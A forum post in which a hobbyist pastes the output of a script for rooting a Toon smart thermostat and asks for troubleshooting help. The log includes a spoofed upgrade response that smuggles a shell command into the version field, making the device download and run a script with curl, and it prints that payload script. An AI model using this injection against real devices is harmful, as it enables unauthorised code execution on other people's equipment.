With the USB version, it sends a payload by default - I see it sending a payload in the script output. This is the output when I use the "test" payload from the script.
The Toon from 10.42.0.206 is connecting to servicecenter IP: 172.29.64.1
-------------------------------------------------------
<knip>
POST /QubyRegistration/ HTTP/1.1
Host: 172.29.64.1:31080
Accept: */*
Content-Type: application/xml; charset=utf-8
Content-Length: 444
<action class="invoke" uuid="eneco-001-047778:hcb_config" destuuid="0429a450-
bd0c-11e0-962b-0800200c9a66" serviceid="urn:hcb-hae-com:serviceId:specific1"
requestid="671-0" commonname="eneco-001-047778">
<u:GetUpgrade xmlns:u="
http://schema.homeautomationeurope.com/quby"><Arch
>qb2</Arch>
<Flav>ene</Flav>
<Ver>3.6.3</Ver>
<Seed>974959640</Seed>
<requestId>671-0</requestId>
<timeout>10</timeout>
</u:GetUpgrade>
</action>
Received valid update request.
Starting payload process in background.
-------------------------------------------------------
#!/bin/sh iptables -I HCB-INPUT -p tcp --dport 80 -j ACCEPT ; echo "We have c
onnection" > /qmf/www/rsrc/log ; echo "Do not touch the screen of your Toon"
>> /qmf/www/rsrc/log ; echo "Just wait and look at your Toon to see the GUI r
estart" >> /qmf/www/rsrc/log ; /qmf/bin/bxt -d :happ_usermsg -s Notification
-n CreateNotification -a type -v task -a subType -v notify -a text -v "Restar
ting your GUI" 2>/dev/null >/dev/null ; sleep 2 ; /qmf/bin/bxt -d :happ_userm
sg -s Notification -n CreateNotification -a type -v task -a subType -v notify
-a text -v "Please wait..." 2>/dev/null >/dev/null ; sleep 2 ; killall -9 qt
-gui ; echo "### Reached End Of Job ###" >> /qmf/www/rsrc/log
-------------------------------------------------------
Sending the reponse for the upgrade request.
-------------------------------------------------------
HTTP/1.1 200 OK
<action xmlns:u="
http://schema.homeautomationeurope.com/quby" class="respons
e" uuid="0429a450-bd0c-11e0-962b-0800200c9a66" destuuid="eneco-001-047778:hcb
_config" destcommonname="eneco-001-047778" requestid="671-0" serviceid="urn:h
cb-hae-com:serviceId:specific1">
<u:GetUpgradeResponse xmlns:u="
http://schema.homeautomationeurope.com/quby">
<DoUpgrade>true</DoUpgrade>
<Ver>7.;curl 1.1|sh;;</Ver>
<Success>true</Success>
<Reason>Success</Reason>
<ReasonDetails>Success</ReasonDetails>
</u:GetUpgradeResponse>
</action>
-------------------------------------------------------
The payload and response have been sent.
Now waiting for the Toon to pick up the payload.
Depending on the firmware of the Toon this can take a minute or so.
.... Please wait......
GET / HTTP/1.1
User-Agent: curl/7.21.2 (arm-hae-linux-gnueabi) libcurl/7.21.2 GnuTLS/2.10.4
zlib/1.2.3
Host: 1.1
Accept: */*
Done sending the payload! Following the toon root log file now to see progres
s
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="
http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>404 - Not Found</title>
</head>
<body>
<h1>404 - Not Found</h1>
</body>
</html>
And this Not Found html page repeats forever.
Reading the script, this is where it uses curl to connect to
http://10.42.0.206/rsrc/log, but this file/page on Toon does not exist.
I got this Toon from marktplaats and didn't reset it since it is such an old version and probably has old certificates. Any ideas on what to try next?